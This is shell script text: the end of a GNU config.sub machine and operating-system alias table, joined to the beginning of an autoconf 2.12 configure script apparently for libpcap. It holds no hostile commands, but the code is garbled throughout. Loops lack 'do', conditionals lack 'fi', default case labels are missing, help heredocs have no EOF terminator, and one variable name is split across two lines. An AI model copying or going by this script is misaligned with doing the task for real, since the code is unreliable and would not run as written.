      sun3 | sun3-*)
            basic_machine=m68k-sun
            ;;
      sun4)
            basic_machine=sparc-sun
            ;;
      sun386 | sun386i | roadrunner)
            basic_machine=i386-sun
            ;;
      symmetry)
            basic_machine=i386-sequent
            os=-dynix
            ;;
      tower | tower-32)
            basic_machine=m68k-ncr
            ;;
      udi29k)
            basic_machine=a29k-amd
            os=-udi
            ;;
      ultra3)
            basic_machine=a29k-nyu
            os=-sym1
            ;;
      vaxv)
            basic_machine=vax-dec
            os=-sysv
            ;;
      vms)
            basic_machine=vax-dec
            os=-vms
            ;;
       vpp*|vx|vx-*)
               basic_machine=f301-fujitsu
               ;;
      vxworks960)
            basic_machine=i960-wrs
            os=-vxworks
            ;;
      vxworks68)
            basic_machine=m68k-wrs
            os=-vxworks
            ;;
      vxworks29k)
            basic_machine=a29k-wrs
            os=-vxworks
            ;;
      xmp)
            basic_machine=xmp-cray
            os=-unicos
            ;;
        xps | xps100)
            basic_machine=xps100-honeywell
            ;;
      none)
            basic_machine=none-none
            os=-none
            ;;
# Here we handle the default manufacturer of certain CPU types.  It is in
# some cases the only manufacturer, in others, it is the most popular.
      mips)
            basic_machine=mips-mips
            ;;
      romp)
            basic_machine=romp-ibm
            ;;
      rs6000)
            basic_machine=rs6000-ibm
            ;;
      vax)
            basic_machine=vax-dec
            ;;
      pdp11)
            basic_machine=pdp11-dec
            ;;
      we32k)
            basic_machine=we32k-att
            ;;
      sparc)
            basic_machine=sparc-sun
            ;;
        cydra)
            basic_machine=cydra-cydrome
            ;;
      orion)
            basic_machine=orion-highlevel
            ;;
      orion105)
            basic_machine=clipper-highlevel
            ;;
            echo Invalid configuration \`$1\': machine \`$basic_machine\' not recognized 1>&2
            exit 1
            ;;
esac
# Here we canonicalize certain aliases for manufacturers.
case $basic_machine in
      *-digital*)
            basic_machine=`echo $basic_machine | sed 's/digital.*/dec/'`
            ;;
      *-commodore*)
            basic_machine=`echo $basic_machine | sed 's/commodore.*/cbm/'`
            ;;
            ;;
esac
# Decode manufacturer-specific aliases for certain operating systems.
if [ x"$os" != x"" ]
then
case $os in
        # First match some system type aliases
        # that might get confused with valid system types.
      # -solaris* is a basic system type, with this one exception.
      -solaris1 | -solaris1.*)
            os=`echo $os | sed -e 's|solaris1|sunos4|'`
            ;;
      -solaris)
            os=-solaris2
            ;;
      -unixware* | svr4*)
            os=-sysv4
            ;;
      -gnu/linux*)
            os=`echo $os | sed -e 's|gnu/linux|linux-gnu|'`
            ;;
      # First accept the basic system types.
      # The portable systems comes first.
      # Each alternative MUST END IN A *, to match a version number.
      # -sysv* is not here because it comes later, after sysvr4.
      -gnu* | -bsd* | -mach* | -minix* | -genix* | -ultrix* | -irix* \
            | -*vms* | -sco* | -esix* | -isc* | -aix* | -sunos | -sunos[34]*\
            | -hpux* | -unos* | -osf* | -luna* | -dgux* | -solaris* | -sym* \
            | -amigados* | -msdos* | -newsos* | -unicos* | -aof* | -aos* \
            | -nindy* | -vxsim* | -vxworks* | -ebmon* | -hms* | -mvs* \
            | -clix* | -riscos* | -uniplus* | -iris* | -rtu* | -xenix* \
            | -hiux* | -386bsd* | -netbsd* | -openbsd* | -freebsd* | -riscix* \
            | -lynxos* | -bosx* | -nextstep* | -cxux* | -aout* | -elf* \
            | -ptx* | -coff* | -ecoff* | -winnt* | -domain* | -vsta* \
            | -udi* | -eabi* | -lites* | -ieee* | -go32* | -aux* \
            | -cygwin32* | -pe* | -psos* | -moss* | -proelf* | -rtems* \
            | -linux-gnu* | -uxpv*)
      # Remember, each alternative MUST END IN *, to match a version number.
            ;;
      -linux*)
            os=`echo $os | sed -e 's|linux|linux-gnu|'`
            ;;
      -sunos5*)
            os=`echo $os | sed -e 's|sunos5|solaris2|'`
            ;;
      -sunos6*)
            os=`echo $os | sed -e 's|sunos6|solaris3|'`
            ;;
      -osfrose*)
            os=-osfrose
            ;;
      -osf*)
            os=-osf
            ;;
      -utek*)
            os=-bsd
            ;;
      -dynix*)
            os=-bsd
            ;;
      -acis*)
            os=-aos
            ;;
      -ctix* | -uts*)
            os=-sysv
            ;;
      -ns2 )
              os=-nextstep2
            ;;
      # Preserve the version number of sinix5.
      -sinix5.*)
            os=`echo $os | sed -e 's|sinix|sysv|'`
            ;;
      -sinix*)
            os=-sysv4
            ;;
      -triton*)
            os=-sysv3
            ;;
      -oss*)
            os=-sysv3
            ;;
      -svr4)
            os=-sysv4
            ;;
      -svr3)
            os=-sysv3
            ;;
      -sysvr4)
            os=-sysv4
            ;;
      # This must come after -sysvr4.
      -sysv*)
            ;;
      -xenix)
            os=-xenix
            ;;
      -none)
            ;;
            # Get rid of the `-' at the beginning of $os.
            os=`echo $os | sed 's/[^-]*-//'`
            echo Invalid configuration \`$1\': system \`$os\' not recognized 1>&2
            exit 1
            ;;
esac
else
# Here we handle the default operating systems that come with various machines.
# The value should be what the vendor currently ships out the door with their
# machine or put another way, the most popular os provided with the machine.
# Note that if you're going to try to match "-MANUFACTURER" here (say,
# "-sun"), then you have to tell the case statement up towards the top
# that MANUFACTURER isn't an operating system.  Otherwise, code above
# will signal an error saying that MANUFACTURER isn't an operating
# system, and we'll never get to this point.
case $basic_machine in
      *-acorn)
            os=-riscix1.2
            ;;
      arm*-semi)
            os=-aout
            ;;
        pdp11-*)
            os=-none
            ;;
      *-dec | vax-*)
            os=-ultrix4.2
            ;;
      m68*-apollo)
            os=-domain
            ;;
      i386-sun)
            os=-sunos4.0.2
            ;;
      m68000-sun)
            os=-sunos3
            # This also exists in the configure program, but was not the
            # default.
            # os=-sunos4
            ;;
      *-tti)      # must be before sparc entry or we get the wrong os.
            os=-sysv3
            ;;
      sparc-* | *-sun)
            os=-sunos4.1.1
            ;;
      *-ibm)
            os=-aix
            ;;
      *-hp)
            os=-hpux
            ;;
      *-hitachi)
            os=-hiux
            ;;
      i860-* | *-att | *-ncr | *-altos | *-motorola | *-convergent)
            os=-sysv
            ;;
      *-cbm)
            os=-amigados
            ;;
      *-dg)
            os=-dgux
            ;;
      *-dolphin)
            os=-sysv3
            ;;
      m68k-ccur)
            os=-rtu
            ;;
      m88k-omron*)
            os=-luna
            ;;
      *-next )
            os=-nextstep
            ;;
      *-sequent)
            os=-ptx
            ;;
      *-crds)
            os=-unos
            ;;
      *-ns)
            os=-genix
            ;;
      i370-*)
            os=-mvs
            ;;
      *-next)
            os=-nextstep3
            ;;
        *-gould)
            os=-sysv
            ;;
        *-highlevel)
            os=-bsd
            ;;
      *-encore)
            os=-bsd
            ;;
        *-sgi)
            os=-irix
            ;;
        *-siemens)
            os=-sysv4
            ;;
      *-masscomp)
            os=-rtu
            ;;
      f301-fujitsu)
            os=-uxpv
            ;;
            os=-none
            ;;
esac
# Here we handle the case where we know the os, and the CPU type, but not the
# manufacturer.  We pick the logical manufacturer.
vendor=unknown
case $basic_machine in
      *-unknown)
            case $os in
                  -riscix*)
                        vendor=acorn
                        ;;
                  -sunos*)
                        vendor=sun
                        ;;
                  -aix*)
                        vendor=ibm
                        ;;
                  -hpux*)
                        vendor=hp
                        ;;
                  -hiux*)
                        vendor=hitachi
                        ;;
                  -unos*)
                        vendor=crds
                        ;;
                  -dgux*)
                        vendor=dg
                        ;;
                  -luna*)
                        vendor=omron
                        ;;
                  -genix*)
                        vendor=ns
                        ;;
                  -mvs*)
                        vendor=ibm
                        ;;
                  -ptx*)
                        vendor=sequent
                        ;;
                  -vxsim* | -vxworks*)
                        vendor=wrs
                        ;;
                  -aux*)
                        vendor=apple
                        ;;
            esac
            basic_machine=`echo $basic_machine | sed "s/unknown/$vendor/"`
            ;;
esac
echo $basic_machine$os
#! /bin/sh
# Guess values for system-dependent variables and create Makefiles.
# Generated automatically using autoconf version 2.12
# Copyright (C) 1992, 93, 94, 95, 96 Free Software Foundation, Inc.
# This configure script is free software; the Free Software Foundation
# gives unlimited permission to copy, distribute and modify it.
# Defaults:
ac_help=
ac_default_prefix=/usr/local
# Any additions from configure.in:
ac_help="$ac_help
  --without-gcc           don't use gcc"
ac_help="$ac_help
  --with-pcap=TYPE        use packet capture TYPE"
ac_help="$ac_help
  --without-flex          don't use flex"
ac_help="$ac_help
  --without-bison         don't use bison"
# Initialize some variables set by options.
# The variables have the same names as the options, with
# dashes changed to underlines.
build=NONE
cache_file=./config.cache
exec_prefix=NONE
host=NONE
no_create=
nonopt=NONE
no_recursion=
prefix=NONE
program_prefix=NONE
program_suffix=NONE
program_transform_name=s,x,x,
silent=
site=
srcdir=
target=NONE
verbose=
x_includes=NONE
x_libraries=NONE
bindir='${exec_prefix}/bin'
sbindir='${exec_prefix}/sbin'
libexecdir='${exec_prefix}/libexec'
datadir='${prefix}/share'
sysconfdir='${prefix}/etc'
sharedstatedir='${prefix}/com'
localstatedir='${prefix}/var'
libdir='${exec_prefix}/lib'
includedir='${prefix}/include'
oldincludedir='/usr/include'
infodir='${prefix}/info'
mandir='${prefix}/man'
# Initialize some other variables.
subdirs=
MFLAGS= MAKEFLAGS=
# Maximum number of lines to put in a shell here document.
ac_max_here_lines=12
ac_prev=
for ac_option
  # If the previous option needs an argument, assign it.
  if test -n "$ac_prev"; then
    eval "$ac_prev=\$ac_option"
    ac_prev=
    continue
  fi
  case "$ac_option" in
  -*=*) ac_optarg=`echo "$ac_option" | sed 's/[-_a-zA-Z0-9]*=//'` ;;
  *) ac_optarg= ;;
  esac
  # Accept the important Cygnus configure options, so we can diagnose typos.
  case "$ac_option" in
  -bindir | --bindir | --bindi | --bind | --bin | --bi)
    ac_prev=bindir ;;
  -bindir=* | --bindir=* | --bindi=* | --bind=* | --bin=* | --bi=*)
    bindir="$ac_optarg" ;;
  -build | --build | --buil | --bui | --bu)
    ac_prev=build ;;
  -build=* | --build=* | --buil=* | --bui=* | --bu=*)
    build="$ac_optarg" ;;
  -cache-file | --cache-file | --cache-fil | --cache-fi \
  | --cache-f | --cache- | --cache | --cach | --cac | --ca | --c)
    ac_prev=cache_file ;;
  -cache-file=* | --cache-file=* | --cache-fil=* | --cache-fi=* \
  | --cache-f=* | --cache-=* | --cache=* | --cach=* | --cac=* | --ca=* | --c=*)
    cache_file="$ac_optarg" ;;
  -datadir | --datadir | --datadi | --datad | --data | --dat | --da)
    ac_prev=datadir ;;
  -datadir=* | --datadir=* | --datadi=* | --datad=* | --data=* | --dat=* \
  | --da=*)
    datadir="$ac_optarg" ;;
  -disable-* | --disable-*)
    ac_feature=`echo $ac_option|sed -e 's/-*disable-//'`
    # Reject names that are not valid shell variable names.
    if test -n "`echo $ac_feature| sed 's/[-a-zA-Z0-9_]//g'`"; then
      { echo "configure: error: $ac_feature: invalid feature name" 1>&2; exit 1; }
    fi
    ac_feature=`echo $ac_feature| sed 's/-/_/g'`
    eval "enable_${ac_feature}=no" ;;
  -enable-* | --enable-*)
    ac_feature=`echo $ac_option|sed -e 's/-*enable-//' -e 's/=.*//'`
    # Reject names that are not valid shell variable names.
    if test -n "`echo $ac_feature| sed 's/[-_a-zA-Z0-9]//g'`"; then
      { echo "configure: error: $ac_feature: invalid feature name" 1>&2; exit 1; }
    fi
    ac_feature=`echo $ac_feature| sed 's/-/_/g'`
    case "$ac_option" in
      *=*) ;;
      *) ac_optarg=yes ;;
    esac
    eval "enable_${ac_feature}='$ac_optarg'" ;;
  -exec-prefix | --exec_prefix | --exec-prefix | --exec-prefi \
  | --exec-pref | --exec-pre | --exec-pr | --exec-p | --exec- \
  | --exec | --exe | --ex)
    ac_prev=exec_prefix ;;
  -exec-prefix=* | --exec_prefix=* | --exec-prefix=* | --exec-prefi=* \
  | --exec-pref=* | --exec-pre=* | --exec-pr=* | --exec-p=* | --exec-=* \
  | --exec=* | --exe=* | --ex=*)
    exec_prefix="$ac_optarg" ;;
  -gas | --gas | --ga | --g)
    # Obsolete; use --with-gas.
    with_gas=yes ;;
  -help | --help | --hel | --he)
    # Omit some internal or obsolete options to make the list less imposing.
    # This message is too long to be a string in the A/UX 3.1 sh.
    cat << EOF
Usage: configure [options] [host]
Options: [defaults in brackets after descriptions]
Configuration:
  --cache-file=FILE       cache test results in FILE
  --help                  print this message
  --no-create             do not create output files
  --quiet, --silent       do not print \`checking...' messages
  --version               print the version of autoconf that created configure
Directory and file names:
  --prefix=PREFIX         install architecture-independent files in PREFIX
                          [$ac_default_prefix]
  --exec-prefix=EPREFIX   install architecture-dependent files in EPREFIX
                          [same as prefix]
  --bindir=DIR            user executables in DIR [EPREFIX/bin]
  --sbindir=DIR           system admin executables in DIR [EPREFIX/sbin]
  --libexecdir=DIR        program executables in DIR [EPREFIX/libexec]
  --datadir=DIR           read-only architecture-independent data in DIR
                          [PREFIX/share]
  --sysconfdir=DIR        read-only single-machine data in DIR [PREFIX/etc]
  --sharedstatedir=DIR    modifiable architecture-independent data in DIR
                          [PREFIX/com]
  --localstatedir=DIR     modifiable single-machine data in DIR [PREFIX/var]
  --libdir=DIR            object code libraries in DIR [EPREFIX/lib]
  --includedir=DIR        C header files in DIR [PREFIX/include]
  --oldincludedir=DIR     C header files for non-gcc in DIR [/usr/include]
  --infodir=DIR           info documentation in DIR [PREFIX/info]
  --mandir=DIR            man documentation in DIR [PREFIX/man]
  --srcdir=DIR            find the sources in DIR [configure dir or ..]
  --program-prefix=PREFIX prepend PREFIX to installed program names
  --program-suffix=SUFFIX append SUFFIX to installed program names
  --program-transform-name=PROGRAM
                          run sed PROGRAM on installed program names
    cat << EOF
Host type:
  --build=BUILD           configure for building on BUILD [BUILD=HOST]
  --host=HOST             configure for HOST [guessed]
  --target=TARGET         configure for TARGET [TARGET=HOST]
Features and packages:
  --disable-FEATURE       do not include FEATURE (same as --enable-FEATURE=no)
  --enable-FEATURE[=ARG]  include FEATURE [ARG=yes]
  --with-PACKAGE[=ARG]    use PACKAGE [ARG=yes]
  --without-PACKAGE       do not use PACKAGE (same as --with-PACKAGE=no)
  --x-includes=DIR        X include files are in DIR
  --x-libraries=DIR       X library files are in DIR
    if test -n "$ac_help"; then
      echo "--enable and --with options recognized:$ac_help"
    fi
    exit 0 ;;
  -host | --host | --hos | --ho)
    ac_prev=host ;;
  -host=* | --host=* | --hos=* | --ho=*)
    host="$ac_optarg" ;;
  -includedir | --includedir | --includedi | --included | --include \
  | --includ | --inclu | --incl | --inc)
    ac_prev=includedir ;;
  -includedir=* | --includedir=* | --includedi=* | --included=* | --include=* \
  | --includ=* | --inclu=* | --incl=* | --inc=*)
    includedir="$ac_optarg" ;;
  -infodir | --infodir | --infodi | --infod | --info | --inf)
    ac_prev=infodir ;;
  -infodir=* | --infodir=* | --infodi=* | --infod=* | --info=* | --inf=*)
    infodir="$ac_optarg" ;;
  -libdir | --libdir | --libdi | --libd)
    ac_prev=libdir ;;
  -libdir=* | --libdir=* | --libdi=* | --libd=*)
    libdir="$ac_optarg" ;;
  -libexecdir | --libexecdir | --libexecdi | --libexecd | --libexec \
  | --libexe | --libex | --libe)
    ac_prev=libexecdir ;;
  -libexecdir=* | --libexecdir=* | --libexecdi=* | --libexecd=* | --libexec=* \
  | --libexe=* | --libex=* | --libe=*)
    libexecdir="$ac_optarg" ;;
  -localstatedir | --localstatedir | --localstatedi | --localstated \
  | --localstate | --localstat | --localsta | --localst \
  | --locals | --local | --loca | --loc | --lo)
    ac_prev=localstatedir ;;
  -localstatedir=* | --localstatedir=* | --localstatedi=* | --localstated=* \
  | --localstate=* | --localstat=* | --localsta=* | --localst=* \
  | --locals=* | --local=* | --loca=* | --loc=* | --lo=*)
    localstatedir="$ac_optarg" ;;
  -mandir | --mandir | --mandi | --mand | --man | --ma | --m)
    ac_prev=mandir ;;
  -mandir=* | --mandir=* | --mandi=* | --mand=* | --man=* | --ma=* | --m=*)
    mandir="$ac_optarg" ;;
  -nfp | --nfp | --nf)
    # Obsolete; use --without-fp.
    with_fp=no ;;
  -no-create | --no-create | --no-creat | --no-crea | --no-cre \
  | --no-cr | --no-c)
    no_create=yes ;;
  -no-recursion | --no-recursion | --no-recursio | --no-recursi \
  | --no-recurs | --no-recur | --no-recu | --no-rec | --no-re | --no-r)
    no_recursion=yes ;;
  -oldincludedir | --oldincludedir | --oldincludedi | --oldincluded \
  | --oldinclude | --oldinclud | --oldinclu | --oldincl | --oldinc \
  | --oldin | --oldi | --old | --ol | --o)
    ac_prev=oldincludedir ;;
  -oldincludedir=* | --oldincludedir=* | --oldincludedi=* | --oldincluded=* \
  | --oldinclude=* | --oldinclud=* | --oldinclu=* | --oldincl=* | --oldinc=* \
  | --oldin=* | --oldi=* | --old=* | --ol=* | --o=*)
    oldincludedir="$ac_optarg" ;;
  -prefix | --prefix | --prefi | --pref | --pre | --pr | --p)
    ac_prev=prefix ;;
  -prefix=* | --prefix=* | --prefi=* | --pref=* | --pre=* | --pr=* | --p=*)
    prefix="$ac_optarg" ;;
  -program-prefix | --program-prefix | --program-prefi | --program-pref \
  | --program-pre | --program-pr | --program-p)
    ac_prev=program_prefix ;;
  -program-prefix=* | --program-prefix=* | --program-prefi=* \
  | --program-pref=* | --program-pre=* | --program-pr=* | --program-p=*)
    program_prefix="$ac_optarg" ;;
  -program-suffix | --program-suffix | --program-suffi | --program-suff \
  | --program-suf | --program-su | --program-s)
    ac_prev=program_suffix ;;
  -program-suffix=* | --program-suffix=* | --program-suffi=* \
  | --program-suff=* | --program-suf=* | --program-su=* | --program-s=*)
    program_suffix="$ac_optarg" ;;
  -program-transform-name | --program-transform-name \
  | --program-transform-nam | --program-transform-na \
  | --program-transform-n | --program-transform- \
  | --program-transform | --program-transfor \
  | --program-transfo | --program-transf \
  | --program-trans | --program-tran \
  | --progr-tra | --program-tr | --program-t)
    ac_prev=program_transform_name ;;
  -program-transform-name=* | --program-transform-name=* \
  | --program-transform-nam=* | --program-transform-na=* \
  | --program-transform-n=* | --program-transform-=* \
  | --program-transform=* | --program-transfor=* \
  | --program-transfo=* | --program-transf=* \
  | --program-trans=* | --program-tran=* \
  | --progr-tra=* | --program-tr=* | --program-t=*)
    program_transform_name="$ac_optarg" ;;
  -q | -quiet | --quiet | --quie | --qui | --qu | --q \
  | -silent | --silent | --silen | --sile | --sil)
    silent=yes ;;
  -sbindir | --sbindir | --sbindi | --sbind | --sbin | --sbi | --sb)
    ac_prev=sbindir ;;
  -sbindir=* | --sbindir=* | --sbindi=* | --sbind=* | --sbin=* \
  | --sbi=* | --sb=*)
    sbindir="$ac_optarg" ;;
  -sharedstatedir | --sharedstatedir | --sharedstatedi \
  | --sharedstated | --sharedstate | --sharedstat | --sharedsta \
  | --sharedst | --shareds | --shared | --share | --shar \
  | --sha | --sh)
    ac_prev=sharedstatedir ;;
  -sharedstatedir=* | --sharedstatedir=* | --sharedstatedi=* \
  | --sharedstated=* | --sharedstate=* | --sharedstat=* | --sharedsta=* \
  | --sharedst=* | --shareds=* | --shared=* | --share=* | --shar=* \
  | --sha=* | --sh=*)
    sharedstatedir="$ac_optarg" ;;
  -site | --site | --sit)
    ac_prev=site ;;
  -site=* | --site=* | --sit=*)
    site="$ac_optarg" ;;
  -srcdir | --srcdir | --srcdi | --srcd | --src | --sr)
    ac_prev=srcdir ;;
  -srcdir=* | --srcdir=* | --srcdi=* | --srcd=* | --src=* | --sr=*)
    srcdir="$ac_optarg" ;;
  -sysconfdir | --sysconfdir | --sysconfdi | --sysconfd | --sysconf \
  | --syscon | --sysco | --sysc | --sys | --sy)
    ac_prev=sysc
onfdir ;;
  -sysconfdir=* | --sysconfdir=* | --sysconfdi=* | --sysconfd=* | --sysconf=* \
  | --syscon=* | --sysco=* | --sysc=* | --sys=* | --sy=*)
    sysconfdir="$ac_optarg" ;;
  -target | --target | --targe | --targ | --tar | --ta | --t)
    ac_prev=target ;;
  -target=* | --target=* | --targe=* | --targ=* | --tar=* | --ta=* | --t=*)
    target="$ac_optarg" ;;
  -v | -verbose | --verbose | --verbos | --verbo | --verb)
    verbose=yes ;;
  -version | --version | --versio | --versi | --vers)
    echo "configure generated by autoconf version 2.12"
    exit 0 ;;
  -with-* | --with-*)
    ac_package=`echo $ac_option|sed -e 's/-*with-//' -e 's/=.*//'`
    # Reject names that are not valid shell variable names.
    if test -n "`echo $ac_package| sed 's/[-_a-zA-Z0-9]//g'`"; then
      { echo "configure: error: $ac_package: invalid package name" 1>&2; exit 1; }
    fi
    ac_package=`echo $ac_package| sed 's/-/_/g'`
    case "$ac_option" in
      *=*) ;;
      *) ac_optarg=yes ;;
    esac
    eval "with_${ac_package}='$ac_optarg'" ;;
  -without-* | --without-*)
    ac_package=`echo $ac_option|sed -e 's/-*without-//'`
    # Reject names that are not valid shell variable names.
    if test -n "`echo $ac_package| sed 's/[-a-zA-Z0-9_]//g'`"; then
      { echo "configure: error: $ac_package: invalid package name" 1>&2; exit 1; }
    fi
    ac_package=`echo $ac_package| sed 's/-/_/g'`
    eval "with_${ac_package}=no" ;;
  --x)
    # Obsolete; use --with-x.
    with_x=yes ;;
  -x-includes | --x-includes | --x-include | --x-includ | --x-inclu \
  | --x-incl | --x-inc | --x-in | --x-i)
    ac_prev=x_includes ;;
  -x-includes=* | --x-includes=* | --x-include=* | --x-includ=* | --x-inclu=* \
  | --x-incl=* | --x-inc=* | --x-in=* | --x-i=*)
    x_includes="$ac_optarg" ;;
  -x-libraries | --x-libraries | --x-librarie | --x-librari \
  | --x-librar | --x-libra | --x-libr | --x-lib | --x-li | --x-l)
    ac_prev=x_libraries ;;
  -x-libraries=* | --x-libraries=* | --x-librarie=* | --x-librari=* \
  | --x-librar=* | --x-libra=* | --x-libr=* | --x-lib=* | --x-li=* | --x-l=*)
    x_libraries="$ac_optarg" ;;
  -*) { echo "configure: error: $ac_option: invalid option; use --help to show usage" 1>&2; exit 1; }
    ;;
  *)
    if test -n "`echo $ac_option| sed 's/[-a-z0-9.]//g'`"; then
      echo "configure: warning: $ac_option: invalid host type" 1>&2
    fi
    if test "x$nonopt" != xNONE; then
      { echo "configure: error: can only configure for one host and one target at a time" 1>&2; exit 1; }
    fi
    nonopt="$ac_option"
    ;;
  esac
done
if test -n "$ac_prev"; then
  { echo "configure: error: missing argument to --`echo $ac_prev | sed 's/_/-/g'`" 1>&2; exit 1; }
trap 'rm -fr conftest* confdefs* core core.* *.core $ac_clean_files; exit 1' 1 2 15
# File descriptor usage:
# 0 standard input
# 1 file creation
# 2 errors and warnings
# 3 some systems may open it to /dev/tty
# 4 used on the Kubota Titan
# 6 checking for... messages and results
# 5 compiler messages saved in config.log
if test "$silent" = yes; then
  exec 6>/dev/null
else
  exec 6>&1
exec 5>./config.log
echo "\
This file contains any messages produced by compilers while
running configure, to aid debugging if configure makes a mistake.
" 1>&5
# Strip out --no-create and --no-recursion so they do not pile up.
# Also quote any args containing shell metacharacters.
ac_configure_args=
for ac_arg
  case "$ac_arg" in
  -no-create | --no-create | --no-creat | --no-crea | --no-cre \
  | --no-cr | --no-c) ;;
  -no-recursion | --no-recursion | --no-recursio | --no-recursi \
  | --no-recurs | --no-recur | --no-recu | --no-rec | --no-re | --no-r) ;;
  *" "*|*"      "*|*[\[\]\~\#\$\^\&\*\(\)\{\}\\\|\;\<\>\?]*)
  ac_configure_args="$ac_configure_args '$ac_arg'" ;;
  *) ac_configure_args="$ac_configure_args $ac_arg" ;;
  esac
done
# NLS nuisances.
# Only set these to C if already set.  These must not be set unconditionally
# because not all systems understand e.g. LANG=C (notably SCO).
# Fixing LC_MESSAGES prevents Solaris sh from translating var values in `set'!
# Non-C LC_CTYPE values break the ctype check.
if test "${LANG+set}"   = set; then LANG=C;   export LANG;   fi
if test "${LC_ALL+set}" = set; then LC_ALL=C; export LC_ALL; fi
if test "${LC_MESSAGES+set}" = set; then LC_MESSAGES=C; export LC_MESSAGES; fi
if test "${LC_CTYPE+set}"    = set; then LC_CTYPE=C;    export LC_CTYPE;    fi
# confdefs.h avoids OS command line length limits that DEFS can exceed.
rm -rf conftest* confdefs.h
# AIX cpp loses on an empty file, so make sure it contains at least a newline.
echo > confdefs.h
# A filename unique to this package, relative to the directory that
# configure is in, which we can look for to find out if srcdir is correct.
ac_unique_file=pcap.c
# Find the source files, if location was not specified.
if test -z "$srcdir"; then
  ac_srcdir_defaulted=yes
  # Try the directory containing this script, then its parent.
  ac_prog=$0
  ac_confdir=`echo $ac_prog|sed 's%/[^/][^/]*$%%'`
  test "x$ac_confdir" = "x$ac_prog" && ac_confdir=.
  srcdir=$ac_confdir
  if test ! -r $srcdir/$ac_unique_file; then
    srcdir=..
  fi
else
  ac_srcdir_defaulted=no
if test ! -r $srcdir/$ac_unique_file; then
  if test "$ac_srcdir_defaulted" = yes; then
    { echo "configure: error: can not find sources in $ac_confdir or .." 1>&2; exit 1; }
  else
    { echo "configure: error: can not find sources in $srcdir" 1>&2; exit 1; }
  fi
srcdir=`echo "${srcdir}" | sed 's%\([^/]\)/*$%\1%'`
# Prefer explicitly selected file to automatically selected ones.
if test -z "$CONFIG_SITE"; then
  if test "x$prefix" != xNONE; then
    CONFIG_SITE="$prefix/share/config.site $prefix/etc/config.site"
  else
    CONFIG_SITE="$ac_default_prefix/share/config.site $ac_default_prefix/etc/config.site"
  fi
for ac_site_file in $CONFIG_SITE; do
  if test -r "$ac_site_file"; then
    echo "loading site script $ac_site_file"
    . "$ac_site_file"
  fi
done
if test -r "$cache_file"; then
  echo "loading cache $cache_file"
  . $cache_file
else
  echo "creating cache $cache_file"
  > $cache_file
ac_ext=c
# CFLAGS is not in ac_cpp because -g, -O, etc. are not valid cpp options.
ac_cpp='$CPP $CPPFLAGS'
ac_compile='${CC-cc} -c $CFLAGS $CPPFLAGS conftest.$ac_ext 1>&5'
ac_link='${CC-cc} -o conftest $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS 1>&5'
cross_compiling=$ac_cv_prog_cc_cross
if (echo "testing\c"; echo 1,2,3) | grep c >/dev/null; then
  # Stardent Vistra SVR4 grep lacks -e, says ghazi@caip.rutgers.edu.
  if (echo -n testing; echo 1,2,3) | sed s/-n/xn/ | grep xn >/dev/null; then
    ac_n= ac_c='
' ac_t='      '
  else
    ac_n=-n ac_c= ac_t=
  fi
else
  ac_n= ac_c='\c' ac_t=
ac_aux_dir=
for ac_dir in $srcdir $srcdir/.. $srcdir/../..; do
  if test -f $ac_dir/install-sh; then
    ac_aux_dir=$ac_dir
    ac_install_sh="$ac_aux_dir/install-sh -c"
    break
  elif test -f $ac_dir/install.sh; then
    ac_aux_dir=$ac_dir
    ac_install_sh="$ac_aux_dir/install.sh -c"
    break
  fi
done
if test -z "$ac_aux_dir"; then
  { echo "configure: error: can not find install-sh or install.sh in $srcdir $srcdir/.. $srcdir/../.." 1>&2; exit 1; }
ac_config_guess=$ac_aux_dir/config.guess
ac_config_sub=$ac_aux_dir/config.sub
ac_configure=$ac_aux_dir/configure # This should be Cygnus configure.
# Do some error checking and defaulting for the host and target type.
# The inputs are:
#    configure --host=HOST --target=TARGET --build=BUILD NONOPT
# The rules are:
# 1. You are not allowed to specify --host, --target, and nonopt at the
#    same time.
# 2. Host defaults to nonopt.
# 3. If nonopt is not specified, then host defaults to the current host,
#    as determined by config.guess.
# 4. Target and build default to nonopt.
# 5. If nonopt is not specified, then target and build default to host.
# The aliases save the names the user supplied, while $host etc.
# will get canonicalized.
case $host---$target---$nonopt in
NONE---*---* | *---NONE---* | *---*---NONE) ;;
*) { echo "configure: error: can only configure for one host and one target at a time" 1>&2; exit 1; } ;;
esac
# Make sure we can run config.sub.
if $ac_config_sub sun4 >/dev/null 2>&1; then :
else { echo "configure: error: can not run $ac_config_sub" 1>&2; exit 1; }
echo $ac_n "checking host system type""... $ac_c" 1>&6
echo "configure:578: checking host system type" >&5
host_alias=$host
case "$host_alias" in
NONE)
  case $nonopt in
  NONE)
    if host_alias=`$ac_config_guess`; then :
    else { echo "configure: error: can not guess host type; you must specify one" 1>&2; exit 1; }
    fi ;;
  *) host_alias=$nonopt ;;
  esac ;;
esac
host=`$ac_config_sub $host_alias`
host_cpu=`echo $host | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\1/'`
host_vendor=`echo $host | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\2/'`
host_os=`echo $host | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\3/'`
echo "$ac_t""$host" 1>&6
echo $ac_n "checking target system type""... $ac_c" 1>&6
echo "configure:599: checking target system type" >&5
target_alias=$target
case "$target_alias" in
NONE)
  case $nonopt in
  NONE) target_alias=$host_alias ;;
  *) target_alias=$nonopt ;;
  esac ;;
esac
target=`$ac_config_sub $target_alias`
target_cpu=`echo $target | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\1/'`
target_vendor=`echo $target | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\2/'`
target_os=`echo $target | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\3/'`
echo "$ac_t""$target" 1>&6
echo $ac_n "checking build system type""... $ac_c" 1>&6
echo "configure:617: checking build system type" >&5
build_alias=$build
case "$build_alias" in
NONE)
  case $nonopt in
  NONE) build_alias=$host_alias ;;
  *) build_alias=$nonopt ;;
  esac ;;
esac
build=`$ac_config_sub $build_alias`
build_cpu=`echo $build | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\1/'`
build_vendor=`echo $build | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\2/'`
build_os=`echo $build | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\3/'`
echo "$ac_t""$build" 1>&6
test "$host_alias" != "$target_alias" &&
  test "$program_prefix$program_suffix$program_transform_name" = \
    NONENONEs,x,x, &&
  program_prefix=${target_alias}-
umask 002
if test -z "$PWD" ; then
      PWD=`pwd`
   
   
   
    # Check whether --with-gcc or --without-gcc was given.
if test "${with_gcc+set}" = set; then
  withval="$with_gcc"
